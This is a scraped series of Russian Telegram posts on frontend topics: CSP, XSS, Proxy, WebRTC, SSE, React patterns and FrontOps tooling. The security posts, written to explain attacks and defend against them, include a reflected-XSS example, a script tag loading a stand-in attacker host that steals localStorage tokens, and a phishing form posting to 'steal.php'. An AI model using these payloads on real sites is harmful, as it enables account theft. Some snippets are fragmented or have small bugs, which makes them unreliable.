Чат: @prog_way_chat Разборы вопросов и задач с собеседований, мысли, полезные материалы и просто вещи, что мне интересны из мира IT Полезности и навигация в закрепе По всем вопросам: @denisputnov
Шпаргалка с чего начать в FrontOps
➡Для себя любимого
1. Свободно ориентироваться в терминале, уметь выходить из вима и пользоваться ssh
2. Разобраться со сборкой — разобраться как минимум с Vite, понимать как исходный код превращается в бандл
3. Разобраться с Docker — понять зачем вообще он нужен, как оптимизировать Dockerfile
➡Для команды любимой
1. Автоматизировать всё, что можно автоматизировать — изучить prettier, biome, eslint, stylelint — интегрировать в проект и забыть о спорах на ревью о формате кода. Также можно изучить husky и запускать все необходимые проверки ещё до коммита
2. Разобраться с GitLab Actions, именно это используют в большинстве случаев — прогонять линтеры и тесты, собирать превью билд для пул реквестов
3. Изучить мониторинг и аналитику — Sentry для мониторинга и Umami или Matomo для аналитики подойдут для большинства проектов
➡Для пользователя любимой
1. Изучить что такое CDN и как это можно использовать, что такое S3, микрофронтенды, хотя бы базово разбираться в nginx
2. Разобраться с производительностью — рассмотреть и оптимизировать бандл, научиться использовать Lighthouse, react-scan и в целом тестировать свои приложения на слабых устройствах
Гайд не исчерпывающий, но может выступить ориентиром
Если вам что-то не нравится делать — возможно, это навык, который стоит просто прокачать? ❤
Небольшая коллаба с Bell Integrator
Читать полностью…Сам себе режиссёр?
Сегодня принято считать, что FrontOps — это попытка соединить посредственного DevOps-инженера и фронтендера в одном лице. Но, как по мне — это наглядная демонстрация T-shape подхода в оценке разработчиков
T-shape — это модель компетенций, где обычно выделяют одну доминанту (например, фронтенд) и множество навыков рядом с основным (для фронтендера, например — CI/CD, DevOps, UI/UX и тд)
Также к навыкам рядом можно относить и soft skills, например навык управления командой и прочее
Под кросс-процессами я подразумеваю те процессы, которые перетекают из компетенции в компетенцию. Тут обсудим две потенциальные ситуации на примере старта маленького проектика, который нужно куда-то задеплоить
Очень часто наблюдается ситуация, в которой DevOps-ов не хватает, а на мелких проектах держать отдельного DevOps в целом не рентабельно. В таких случаях создается общий пул и один девопс может работать сразу на нескольких проектах
.gitlab-ci.yml
, а с этим реально не каждый человек на рынке может справиться, и задача решится за час-дваИз двух этих карикатур лично мне очевидно какую именно выберет большинство руководителей
FrontOps — это фронтендер, который что-то как-то умеет в DevOps (в большинстве случаев)
FrontOps — это DevOps, который что-то как-то умеет в фронтенд
Иного я никогда в своей жизни не видел
CI/CD
nginx
, CDN
, кешированиеsentry
, нажать кнопку в кейклоке без панических атак ну и тдТакже советую прочитать статью из блога Игоря Федюкина
Content Security Policy CSP
— механизм защиты веб-приложений в браузере, который регулирует из каких источников браузер может загружать ресурсы и выполнять их (скрипты, стили, шрифты, картинки и т.д.)
Основная задача CSP
— защитить пользователя от инъекционных атак, типа XSS
, блокируя любые недоверенные ресурсыCSP
можно задавать через HTTP
заголовок или через meta
тег. И, если честно, с CSP
в мета тегах я никогда не сталкивался, поэтому осознанно опущу эту часть, такой способ задания наименее гибкий и полезный и подходит только для статики
Обычно политику можно задать в конфиге Nginx
, условного Express
или даже в докере через заголовок: Content-Security-Policy
. Выглядеть это в упрощённом случае может примерно так:
Content-Security-Policy: default-src 'self' https://trusted.ru;
Эта запись означает, что ресурсы можно загружать только с домена приложения либо с trusted.ru
CSP
без разрешения на инлайн-скрипты 'unsafe-inline'
и без сторонних доменов, код злоумышленника просто не выполнится: браузер заблокирует <script>
вне белого списка. Это эффективно снижает риск XSS
unsafe-inline — это директива CSP, которая позволяет браузеру выполнять инлайн-скрипты, вставленные в дом на лету. Это может быть удобно, но сильно ослабляет защиту сайта в целом.
Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline';
Nuxt
/Next
из коробки несут в себе очень много минорных и не очень фичей для безопасности ваших пользователей, не отключайте их, если не знаете, что делаетеНу и так же помните, что фреймворки не защищают вас полностью
CSP
— не панацея, но очень мощный инструмент “защиты в глубину”.(default-src 'self')
, а дальше постепенно добавляйте всё, что вам будет нужно. Это всё равно лучше, чем ничего📃Товарищи, внимание
У меня небольшой творческий кризис
Кажется, что я уже очень многое описал, и у меня самого постепенно заканчиваются идеи для новых постов
Поэтому был бы рад обсудить любые идеи на тему контента в канале, пишите их в комменты к посту или анонимно в личку
Спасибо за внимание 🥰
Как реагировать на изменения объекта
В JavaScript обычные объекты не умеют уведомлять о своих изменениях, однако эту задачу можно решить с помощью Proxy
Proxy
— это специальный встроенный в язык объект-обёртка, который позволяет изменить поведение других объектов, перехватывая действия над нимиnew Proxy(target, handlers)
создаёт прокси для объекта target
, где handler
содержит ловушки для перехвата операций
Ловушек много — get
, set
, deleteProperty
, has
... (подробнее на MDN) — каждая из ловушек переопределяет реакцию объекта на взаимодействие с ним
Например, можно переопределить поведение объекта при обращении к какому-нибудь из его свойств:
const user = { name: "Денис", age: 23 };
const proxyUser = new Proxy(user, {
get(target, key) {
return key in target ? target[key] : "Не найдено";
}
});
proxyUser.name // "Денис"
proxyUser.city // "Не найдено"
const reactive = (obj, callback) => {
return new Proxy(obj, {
set(target, key, value) {
target[key] = value; // обновляем значение
callback(key, value); // вызываем реакцию
return true;
}
});
};
// Используем:
const state = reactive({ count: 0 }, (key, value) => {
console.log(`Свойство "${key}" изменилось:`, value);
});
state.count = 1; // Лог: "Свойство 'count' изменилось: 1"
state.count = 5; // Лог: "Свойство 'count' изменилось: 5"
Прикрутить сюда типы и рекурсивный вызов функции reactive на каждый вложенный объект и у вас почти получится свой vue.js 🗿
Proxy
— это крайне нишевый инструмент, особенно в экосистеме реакта, где его встретить крайне сложно. Обычно можно обойтись более простыми вещами, но знать про прокси тоже нужно, может и пригодится. По крайней мере, у меня такой кейс на практике всё же былProxy
крайне прост и к нему можно прикрутить что угодно. Например, к прокси можно прилепить zod
для валидации, как это сделано в zoxy. Тут вы ограничены лишь своей фантазиейЕсли кратко:
— Proxy — обёртка, которая позволяет переопределить реакцию на операцию для объекта
— Переопределение поведения происходит при помощи "ловушек"
Верстка писем — это боль? или нет..?
Если вы думали, что адаптивная верстка для всех браузеров — это сложно, попробуйте сверстать email, который одинаково выглядит в Gmail, Outlook, Yahoo и десятках других почтовых клиентов...
@font-face { src: url(...) }
background-image: url(...)
list-style-image: url(...)
<form action="https://.../steal.php" method="get">
position:fixed
, потому что позволяет фиксировать элементы на экране, что можно использовать для фишинга. Например, можно зафиксировать модалку поверх письма с призывом ввести пароль, и она будет выглядеть как часть интерфейса почтового клиентаНо самое главное, что всё реально развивается и стало лучше!
react-email
и с уверенностью могу сказать, что это было совсем-совсем не больно: tailwind
storybook
для шаблоновmarkdown
для текстов react-email
тоже рекомендую, приятный инструмент🎄 С новым годом, почти
Модно нынче подводить итоги года и мне стало интересно подбить итоги для канала
Меня эта статистика приятно удивляет, я даже не задумывался что могут получиться такие большие цифры
За этот год я сделал очень много для канала: много что изучил, проводил интерактивы, старался стабильно и по графику выпускать посты, пусть и не всегда успешно. Покупал рекламу, пытался продавать её сам, в чём, кстати, сильно разочаровался
За год в канале вышло 14 по настоящему рекламных постов, в основном, с рекламой каких-то ИМХО адекватных каналов, что ещё куда ни шло, но в основном в предложку летит полный шлак, а продавать места в канале за смешные деньги очень уж впадлу
Поэтому в новом году я желал бы себе монетизировать канал этичным для себя способом, а каждому из вас я желаю получать ещё больше удовольствия от работы и жизни в целом, покорить новые вершины и исполнить все свои желания. Желаю каждому успехов, не только в карьере, новых ярких эмоций и идей
Хочу сказать каждому читающему спасибо за этот год вместе. Спасибо за то время, что вы на эту писанину тратите
Не зря в каждом посте я говорю спасибо за прочтение. Это важно для меня 🎁
С канала я ничего кроме вашего прочтения, реакций и комментариев и не получаю
🙂🙂🙂
@prog_way_blog — #blog
Флоу рендеринга компонента в React
Небольшая шпаргалка, которая содержит в себе очередь вызова эффектов при маунте и апдейте компонента.
➡️При маунте порядок следующий:
1. Рендер на основе изначальных значений состояний
2. useInsertionEffect
3. Создание DOM
4. Прикрепление ссылок на ноды (ref)
5. useLayoutEffect
6. useEffect
➡️При апдейте компонента:
1. Рендер на основе новых значений состояний
2. Обновление DOM
3. useInsertionEffect
4. Прикрепление ссылок на ноды (ref)
5. useLayoutEffect
6. useEffect
📎Решил вынести её в канал, потому что сам прям недавно сталкивался с этим на рабочем проекте и подумал, что это тоже кому-то может быть полезно
Ну и не реклама, а реально рекомендация — на эту тему хочу поделиться видео Аюба Бегимкулова о нестандартном применении useInsertionEffect. Там он более подробно рассказывает почему порядок именно такой и в целом чуть более подробно раскрывает тему рендера с примерами в коде
Спасибо за прочтение, это важно для меня ❤️
@prog_way_blog — чат — #web #theory #react
Вот вам ещё визуализация всего, что я пытался описать текстом
Читать полностью…Галопом по теории WebRTC
Тема большая, но попробую максимально сжато рассказать в текстовом посте
WebRTC — Web Real Time Communications — стандарт, который описывает прямую передачу потоковых аудиоданных, видеоданных и контента между клиентами в режиме реального времени. На основе этого стандарта работают всякие зумы, телемосты, google meet и прочие площадки
Для реализации такого соединения в браузерах используется нативный JS класс RTCPeerConnection
WebRTC
в идеале, пусть и не всегда, представляет собой p2p
соединениеp2p — peer-to-peer — это такое сетевое соединение, которое позволяет двум или более устройствам общаться между собой напрямую без сервера-посредника. Ещё такие соединения называют одноранговыми
NAT — Network Address Translation — механизм TCP/IP, который позволяет транслировать внутренние локальные IP адреса во внешние IP адреса за пределами нашего маршрутизатора (можно назвать роутером), который будет выступать в роли межсетевого экрана (файрвол)
Offer
и ICE Candidate
STUN — Session Traversal Utilities for NAT (перевод "утилиты обхода сеансов для NAT") — это протокол, который позволяет каждому устройству узнать свой внешний IP адрес даже за файрволом
Клиент отправляет STUN серверу запрос, затем сервер STUN отправляет клиенту обратно информацию о том, каков внешний адрес маршрутизатора NAT, и какой порт открыт на NAT для приема входящих запросов обратно во внутреннюю сеть
Offer
— это предложение открыть прямое соединение на основе параметров связи, то есть Offer
описывает используемые кодеки для передачи контента, информацию о медиа-потоках (видео, аудио) и тдICE Candidate
— это метаданные устройства в p2p
сети: его IP, порт и прочие параметрыAnswer
(то же самое, что и Offer, только от второго клиента)Сигнальный сервер — это то, что мы можем реализовать сами на любых удобных технологиях. Тут вообще не важно как Offer, Answer и ICE Candidate будут передаваться между клиентами — REST API, сокеты... хоть голубями отправляйте
Ещё один пример
Бывает такое, что нужно встроить в строку значение, которое может быть пустым. Обычно пишутся доп. проверки:
const order = {
city: "Москва" // представим, что возможно undefined или null
}
const { city } = order
// могут писать что-то типа такой проверки
city ? `Ваш город: ${city}` : null
type SubstitutionPrimitive = string | number | boolean | undefined | null;
const isNullOrUndefined = (value: SubstitutionPrimitive): value is undefined | null => {
return value === undefined || value === null;
};
const safePaste = (strings: TemplateStringsArray, ...substitutions: SubstitutionPrimitive[]) => {
let result = strings[0];
for (let index = 0; index < substitutions.length; index++) {
const value = substitutions[index];
if (isNullOrUndefined(value)) return null;
result += value + strings[index + 1];
}
return result;
};
null
вместо строки, если какое либо из значений в подстановках null
или undefined
. Вот так это будет вызываться:const apple = {
name: 'Яблоко',
};
const orange = {};
safePaste`Товар: "${apple?.name}"`;
// Товар: "Яблоко"
safePaste`Товар: "${orange?.name}"`;
// null
Как скопировать значение в буфер обмена
Часто может возникнуть необходимость скопировать какое-то значение в буфер обмена, например, при нажатии на кнопку, и есть два способа сделать это:
Современный метод использует navigator.clipboard
. Это браузерное API, которое предоставляет асинхронные методы для чтения и записи данных в буфер обмена
navigator.clipboard.writeText('Какой-то текст')
window.isSecureContext
. Если страница не является безопасной, вызов методов из navigator.clipboard
вызовет ошибкуnavigator.clipboard
использовался метод document.execCommand('copy')
. Он требует немного больше манипуляций с DOM
, но работает в небезопасных контекстах и даже самых старых браузерах:// нужно создать какой-то текстовый элемент
// и установить ему необходимое значение
const textArea = document.createElement('textarea');
textArea.value = "Какой-то текст";
// убрать элемент куда-то далеко
textArea.style.position = 'absolute';
textArea.style.left = '-999999px;
// и добавить его в вёрстку
document.body.prepend(textArea);
// далее выделить наше поле ввода
textArea.select();
try {
// и скопировать значение в буфер обмена
document.execCommand('copy');
console.log('Текст скопирован!');
} catch (err) {
console.error('Не удалось скопировать текст: ', err);
}
// не забываем удалить элемент из вёрстки
textArea.remove()
if (navigator.clipboard && window.isSecureContext) {
// используем navigator.clipboard
} else {
// используем document.execCommand('copy')
}
Кратко:
— в современных браузерах используется браузерное API navigator.clipboard для взаимодействия с буфером
— в старых браузерах и на страницах, работающих по http, используется устаревший document.execCommand
Составные компоненты
Есть такой паттерн для реакта, который называется Compound Components. Это можно перевести как "составные компоненты"
Смысл этого паттерна заключается в том, что мы можем связать компоненты общим окружением и эффективнее использовать их вместе
То есть мы можем заранее объединить компоненты каким-то контекстом и переиспользовать их, например, через общее пространство имён, в качестве которого чаще всего выступает родительский компонент
import { Layout } from 'antd';
<Layout>
<Layout.Header>Header</Layout.Header>
<Layout.Content>Content</Layout.Content>
<Layout.Footer>Footer</Layout.Footer>
</Layout>
Header
, Content
и Footer
мы получаем напрямую из компонента Layout
? Это и есть пример паттерна Compound Components. Компоненты связаны, а используются они из общего пространства — компонента Layout
Layout.Footer
вне Layout
не нужноLayout
Layout
в зависимости от значения внутри общего контекстаLayout
под собой содержит ещё и LayoutContext
, который содержит в себе состояние компонента Sider
и распространяет его на все дочерние компоненты. Схематически это выглядит примерно так:InternalLayout
└ LayoutContext <-- инициализируем контекст
├ Header
├ Content <-- а в этих компонентах получаем его значение
├ Footer
└ Sider
import InternalLayout, { Content, Footer, Header } from './layout';
import Sider from './Sider';
// получаем тип базового layout компонента
type InternalLayoutType = typeof InternalLayout;
// создаём тип, который определит какие компоненты мы вложим в layout
type CompoundedComponent = InternalLayoutType & {
Header: typeof Header;
Footer: typeof Footer;
Content: typeof Content;
Sider: typeof Sider;
};
// нагло переприсваиваем тип
const Layout = InternalLayout as CompoundedComponent;
// нагло биндим нужные компоненты
Layout.Header = Header;
Layout.Footer = Footer;
Layout.Content = Content;
Layout.Sider = Sider;
// не менее нагло экспортируем как public-api
export default Layout;
Pattern matching
Pattern matching — это крутой концепт, который позволяет делать что либо в зависимости от совпадения с тем или иным шаблоном
В качестве шаблона может выступать какая-то константа или предикат
switch-case
:const statusIcon = {
warning: <WarningIcon />,
success: <SuccessIcon />,
error: <ErrorIcon />,
loading: <Spinner />
}
const status = "error"
const matched = statusIcon[status]
switch-case
, но всё это не так интересноts-pattern
, решение будет ещё и типобезопасно, что также неоспоримый плюсПервый шаг в сторону FrontOps
В продолжение темы FrontOps хочу рассказать, чем я пользуюсь для своих проектов
Длительное время любил и уважал Vercel, да и до сих пор считаю, что для базового деплоя проекта «в интернет» ничего лучше Vercel/Netlify для новичка не придумали, но со временем начал сталкиваться со множеством ограничений бесплатной версии. Например, веб-сокеты в бесплатной версии у меня поднять так и не получилось из-за ограничений самого сервиса
Но самое главное — нет контроля над происходящим, а он порой бывает невероятно полезен
Поэтому я начал использовать Coolify — опенсорсной self-hosted альтернативой. Если утрировать и упрощать, то представьте, что вы владелец Vercel. Вот Coolify даёт вам такое чувство, поскольку это коробочное решение, которое можно поднять на своём сервере по очень простому гайду и с удовольствием пользоваться
В Coolify есть множество функций, которые пригодятся каждому:
— импорт репозиториев с GitHub, в том числе приватных
— автоматическая установка SSL сертификатов (только при условии, что используете домен с reg.ru, если не ошибаюсь — такой там вендор-лок)
— редеплой по мержу
— переменные окружения, возможность создавать разные окружения для одного проекта
— возможность управлять сразу множеством серверов для деплоя
— уведомления, работа в команде, своё s3 хранилище и так далее
Ну и что не менее важно — есть готовый набор огромного набора инструментов, начиная Keycloak, Umami и PostgreSQL DBaaS в 2 клика, заканчивая сервером для майнкрафта — вот всё это уже реализовано и отлично работает
Звучит как ужасная продажная реклама, но это, к сожалению, не так. Очень жаль))
Пока этим приложением у меня нет времени заниматься, оно в подвешенном состоянии, но когда нибудь оно будет сиять
Не обязательно всё время быть сильными. Иногда достаточно просто жить дальше, держаться за принципы и не давать обстоятельствам нас сломать — и этого уже достаточно🥰
Как успешно пройти собеседование frontend-разработчику? 📄
Интервью — важный этап построения карьеры. На одном хорошо расписанном резюме далеко не уедешь: важно уметь правильно преподносить себя, быть честным в ответах, собирать обратную связь — и это лишь часть верных шагов!
О том, как качественно готовиться к собеседованию будущим специалистам, что говорить во время и что делать после него, рассказал frontend-разработчик со стажем Денис Путнов, который на своем канале делится еще больше полезной информацией о программировании и карьере в ИТ.
#BellintegratorTeam #советыBell
Ещё один пример XSS уязвимости
Предположим, сайт a.com
не защищён от XSS
. Допустим, там есть URL-параметр, который встраивается в страницу как есть:
<div>Результаты поиска: <?php echo $_GET['query']; ?></div>
https://a.com/search?query=<script>alert('Я украл твою почку!')</script>
a.com
через эту ссылкуa.com
вставляет <script>...</script>
прямо в HTML
a.com
Что такое XSSXSS
— это тип уязвимости, при которой злоумышленник внедряет в страницу свой скрипт, и этот скрипт выполняется в браузере жертвы как будто от имени доверенного сайта
При помощи XSS зачастую можно потерять cookies, localStorage, а также получить подмену содержимого страницы (например, на страницу встроится какая-нибудь фишинговая форма)
На основе вышеописанного и украденных данных авторизации уже можно сделать любое действие от лица пользователя, будь то отправка сообщения, банковский перевод или любая другая операция
XSS
атаку сейчас — поставить себе недобросовестное браузерное расширение и дать ему слишком много разрешений на ходуCSP
или с 'unsafe-inline'
директивой — лакомый кусочек для таких типов атакHTML
через innerHTML
<script src="https://evil.ru/steal.js"></script>
, этот скрипт крадёт токен из localStorage
и отправляет на сервер злоумышленникаИтог: с вашим токеном можно украсть деньги, данные или сделать что-угодно от вашего имени. И это лишь один из тысячи примеров
HTML
разметки (например, innerHTML
)HttpOnly
на кукахContent Security Policy
— CSP
(об этом в одном из следующих постов)Как создать массив фиксированной длины?
На самом деле, способов множество. Можно создать простой массив пустых элементов:
Array(100)
fill
:Array(100).fill(0)
map
и заполнить массив индексами:Array(100).map((_, index) => index)
Ответ:
⬇️
Получится [empty × 100], а не массив индексов)
Тут дело в том, что при вызове Array(100) у нас изначально создаётся "разряженный" массив. Это когда под каждый элемент массива даже память не выделяется.
Язык просто создаёт пустую структуру с полем length в значении 100
Object.keys(Array(100)).length
map
не работаетmap
, то придётся использовать вот такой хак:[...Array(100)].map((_, index) => index)
undefined
и позволит вызвать map
Array.from({ length: 100 })
from
можно сразу передать функцию-маппер:Array.from({ length: 100 }, () => 'привет')
const array = []
for (let i = 0; i < 100; i++) {
array.push('progway')
}
Кстати, из смешного печального, 99.97% писем имеют серьёзные/критические проблемы с доступностью по результатам исследования 2024 года
Из 409 357 проанализированных писем без ошибок по доступности были целых 28
🤷♂️🤷♂️🤷♂️
@prog_way_blog
Что такое Server-Sent EventsSSE
— это технология для однонаправленного соединения между сервером и клиентом, которая позволяет серверу отправлять обновления данных в реальном времени
Часто SSE
могут стать отличной альтернативой WebSocket
. Он отлично подойдёт для кейсов, когда:
1. Нам нужно постоянно получать обновления с сервера
2. Не нужно постоянно отправлять что-то с клиента
Такая односторонняя связь полезна при реализации:
— уведомлений
— обновления данных в реальном времени (цен, загрузки CPU...)
— индикатора прогресса загрузки большого файла
— даже в играх
И многих других случаях
SSE
гораздо проще и дешевле, чем держать WebSocket
. Как по коду, так и по перфомансуGET
запрос на подготовленный эндпоинт через EventStream
event-stream
, просто устанавливая нужный заголовок. Соединение не закрывается, и с этого момента сервер может пушить в стрим любые строковые данныеconst http = require('http');
http.createServer((req, res) => {
if (req.url === '/stream') {
res.writeHead(200, {
'Content-Type': 'text/event-stream',
'Cache-Control': 'no-cache',
'Connection': 'keep-alive',
});
setInterval(() => {
res.write('data: ПРИВЕТ!\n\n');
}, 1000);
}
}).listen(3000);
const source = EventSource('/stream')
sourse.addEventListener('message', (message) => {
console.log(message.data)
})
Если кратко:
SSE — технология однонаправленной связи от сервера к клиенту
С помощью SSE можно обновлять данные на клиенте в рамках одного соединения в реальном времени
🔖Оно живое — React 19 вышел в стабильной версии, о чём и сообщает команда реакта
Ну, верим
@prog_way_blog — #news
Набор каналов об IT
В телеге есть функция зашарить сразу целую папку с каналами, хочу поделиться с вами одной такой:
🔘Каналы о пересечении профессии, жизни, разных увлечений
🔘Фронтенд, мобильная разработка, ИИ модельки и другие сферы
🔘Новости, экспертный контент и блоги
Добавляйте папку к себе, каналов много, каждый точно найдёт что-то для себя
Добавить папку можно по ссылке
@prog_way_blog — чат
А, кстати, почему "не всегда"
Если хотя бы у одного из клиентов прям очень медленный интернет или есть ещё какие-то проблемы, которые не позволяют открыть p2p
соединение, то p2p
соединения и не получится
В таких случаях соединение организуется через TURN
сервер и WebRTC
становится не p2p
, а уже клиент-сервер-клиент способом коммуникации
TURN — Traversal Using Relay NAT — это протокол, который позволяет узлу за NAT или брандмауэром получать входящие данные через TCP или UDP соединения
Связываем React и localStorage через useSyncExternalStore
Как согласовать изменение состояния в реакте и поля в localStorage
? До недавнего времени самым простым вариантом было создать контекст с внутренним React состоянием и обрабатывать всё взаимодействие с localStorage
через него — вариант рабочий, но далеко не идеален: легко напороться на ререндеры, много кода писать нужно ну и вот это вот всё
Также можно обработать какое-то не-реактовое значение через комбинацию useState
+ useEffect
, но это ещё менее надёжно, ведь браузерные значения могут меняться и без уведомления реакта, и, соответственно, без ререндера
Красиво в одной из статей на хабре описали:
Для работы с состоянием в React используются хуки useState и useReducer, но они не умеют работать с состоянием, которое "живет" за пределами React, поскольку в один момент времени доступна только одна версия внешнего состояния.
Значения внешнего состояния могут меняться со временем без ведома React, что может приводить к таким проблемам, как отображение двух разных значений для одних и тех же данных.
Статья: https://habr.com/ru/companies/timeweb/articles/720136/
React
добавили хук useSyncExternalStore
, который такую задачу решает намного изящнееsetState
функции localStorage
сильно проще и безопаснее. Тут localStorage
в понятие внешнего хранилища ложится просто шикарноconst useLocalStorageState = (key: string, defaultValue?: string) => {
const subscribe = (listener: () => void) => {
window.addEventListener("update-local-storage", listener);
return () => void window.removeEventListener("update-local-storage", listener);
};
const getSnapshot = () => localStorage.getItem(key) ?? defaultValue;
const store = useSyncExternalStore(subscribe, getSnapshot);
const updateStore = (newValue: string) => {
localStorage.setItem(key, newValue);
window.dispatchEvent(new StorageEvent("update-local-storage", { key, newValue }));
};
return [store, updateStore] as const;
};
updateStore
будем помимо изменения значения в localStorage
диспатчить на window
ещё и StorageEvent
с ключом, например, "update-local-storage"
subscribe
объясним когда нужно вызывать getSnapshot
для получения актуального состояния из внешнего хранилища и когда от его прослушивания нужно отписаться. Можно воспринимать как эффектuseState
:const [name, setName] = useLocalStorageState("name", "progway");
localStorage
(name
в примере выше) будет обновлять все зависимые компоненты при регистрации события "update-local-storage"
на window
useMediaQuery
, useWindowSize
и другие. О первых двух можно прочитать в статье от Timeweb CloudТеги для шаблонных строк
В JavaScript есть, как по мне, крайне странный синтаксис. Самым очевидным его применением можно считать styled-components
и выглядит всё это примерно так:
const display = 'flex';
const Button = styled.button`
padding: 10px;
color: red;
display: ${display}
`
button
с предустановленными стилями из литераловstyled.button
— это тоже функция? А как она вызывается? Как устроена внутри?function foo(strings, ...values) {
let result = strings[0];
values.forEach((value, index) => {
result += value + strings[index + 1];
});
return result;
}
strings
— массив строк, содержащий все части текста, разделенные переменнымиvalues
— массив значений, которые вставляются внутрь шаблонаconst name = "Денис"
const channel = "progway"
foo`Меня зовут ${name} и я люблю ${channel}`
Для нашего примера, strings — это:
[
"Меня зовут ",
" и я люблю ",
""
]
а values:
[
"Денис",
"progway"
]
styled-components
, конечно же, с более сложной логикой внутриTree Shaking
Сам по себе Tree Shaking — это метод оптимизации кода, который позволяет автоматически удалять неиспользуемый код при сборке приложения
Основная идея заключается в том, чтобы проанализировать все файлы приложения и используемых библиотек в процессе сборки, и убрать из них всё, что не используется
До статической системы модулей, определить это точно было невозможно, так как импорты и экспорты могли изменяться в рантайме:
// зависящий от рантайма импорт
var my_lib;
if (Math.random()) {
my_lib = require('foo');
} else {
my_lib = require('bar');
}
// и экспорт
if (Math.random()) {
exports.baz = ···;
}
Код выше абсолютно валиден
math.js
попадает только функция multiply
. Происходит это как раз потому что sum()
не используется в коде нашей программы index.js
vite build
)Однако, стоит помнить, что не весь код и библиотеки поддерживают Tree Shaking. "Шейкаться" будет только тот код, что использует ES6 модули
rollup-plugin-visualizer
— он покажет, какие модули включены в финальную сборку, и сколько они весятПорталы в React
Сталкивались когда-нибудь с проблемой, когда нужно рендерить элемент за пределами текущей DOM-иерархии?
Например, модальные окна, которые не должны быть вложены в основное дерево из-за проблем с позиционированием или всплывающие подсказки, которые всегда должны быть на переднем плане
import { createPortal } from 'react-dom';
<div>
<p>Текст расположен в родительском диве</p>
{createPortal(
<p>Текст расположен в document.body </p>,
document.body
)}
</div>
createPortal
, будет маунтиться реактом не в родительский див, а в document.body
. Работать это будет с деревом любой вложенностиНо, на самом деле, там нет ничего сложного
const Portal = ({ children }: PropsWithChildren) => {
const [container] = useState(() => document.createElement('div'));
useLayoutEffect(() => {
document.body.appendChild(container);
return () => {
document.body.removeChild(container);
};
}, [container]);
return createPortal(children, container);
}
// ...
<Portal>
<p>Текст внутри портала</p>
</Portal>
div
внутри useState
, чтобы проще было контролировать порталdocument.body
, то можно словить много проблем со стилями и отслеживанием самого порталаИспользуем мы именно useState, чтобы создавать элемент единожды и гарантировано на первый рендер компонента. Элемент создается внутри колбека инициализации состояния — он всегда вызывается единожды на маунт компонента
Как альтернатива, можно обойтись и рефом
useLayoutEffect
мы привязываем жизненный цикл тега-обёртки к циклу компонента порталаuseLayoutEffect используется вместо useEffect, чтобы обрабатывать портал без лишних мерцаний и более плавно
Вообще, тема разных эффектов и где какой использовать — это отдельная крупная тема, возможно сделаю об этом пост в будущем
Как я использую шину событий
Шина событий — это паттерн, который используется для взаимодействия различных компонентов системы не напрямую, а через некоторый посредник — саму шину
Шина может принимать в себя публикацию событий, а далее оповещать о произошедшем всех своих подписчиков. Такая слабая связанность позволяет сделать систему более модульной и гибкой
Также с помощью шины можно существенно улучшать перфоманс приложения, более подробно об этом сказано в отличном видео синяка
export const {useEvent: useSpecificEvent, ...specificEventChannel} = createEventChannel<{
event: (options: Foo) => void;
}>()
// где угодно: публикация события в шину
specificEventChannel.emit('event', options)
// в react-компоненте: реакция на событие
useSpecificEvent('event', (options) => {
...
})
specificEventChannel
есть дополнительные функции on
, off
и once
для подписки, отписки и единоразовой реакции соответственноcreateEventChannel
. Сама по себе шина там достаточно типовая, что-то невероятное придумать сложно, однако код всё равно достаточно занятный, полный код можно найти в этом гисте